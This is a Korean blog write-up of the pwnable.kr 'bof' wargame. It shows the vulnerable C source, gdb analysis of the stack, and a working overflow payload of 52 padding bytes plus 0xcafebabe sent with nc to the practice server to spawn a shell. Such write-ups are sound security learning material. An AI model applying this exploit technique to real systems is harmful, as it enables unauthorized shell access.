bof


버퍼 오버플로우 문제이다 평상시 공부했던것 처럼 풀면 되나....


약간의 문제가 있어보인다!


확인해보자


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

overflowme 라는 배열이 32byte로 선언되어 있다.


그리고 gets ( )함수를 통해 입력받아 그 값이 0xcafebabe 이면 쉘을 얻어낼 수 있다.


기본값은 0xdeadbeef 으로 선언되어있다.


우리는 하던대로 배열 32byte를 덮어씌우고 func의 주소를 찾아 deadbeef를 cafebabe로 바꾸면 쉘을 딸 수 있다.


실행해보자. 



WOW 보호기법중 하나인 카나리가 걸려있다.


그렇다면 우리는 스택의 주소를 참조하여 어디에 deadbeef 라는 값이 들어가 있는지 찾으면 될것 같다. 자 분석해보자.



disas func 명령어를 통해 func 함수를 디스어셈블리 한 내용이다.


자세히 보면 0x5655564f 에서 gets 함수를 통해 입력을 받고

0x5655565d 에서 jne 명령어를 통해 분기된다.


그렇다면 gets 함수 다음에 바로 break 문을 걸고 실행을 시킨후 스택을 보면 덮이는 부분을 확인할 수 있을 것 같다.



버퍼 오버플로우 공격을 실행하면 분명히 stack이 덮일것이다 확인해보자.




자 두번째 끝에부터 0x41414141로 덮였다.


보이는가 0xdeadbeef 가!!!!


우리는 저 부분을 0xcafebabe 로 바꿔주면 되는것 아닌가!!!


자 바꿔주자 저부분 전까지 덮어주려면 12byte 만큼을 더 덮어주면 된다.


그렇다면 공격코드는 다음과 같다.


(python -c 'print "A"*52 + "\xbe\xba\xfe\xca")


공격을 시도할 땐 nc로 payload를 보내보자


(python -c 'print "A" * 52 + "\xbe\xba\xfe\xca" + "\n"' ; cat) | nc pwnable.kr 9000



'pwnable > pwnable.kr' 카테고리의 다른 글

pwnable.kr -passcode  (0) 2016.09.24
pwnable.kr -echo1  (0) 2016.09.23
pwnable.kr -flag  (0) 2016.07.15
pwnable.kr -shellshock  (0) 2016.07.15
pwnable.kr -mistake  (0) 2016.07.15

+ Recent posts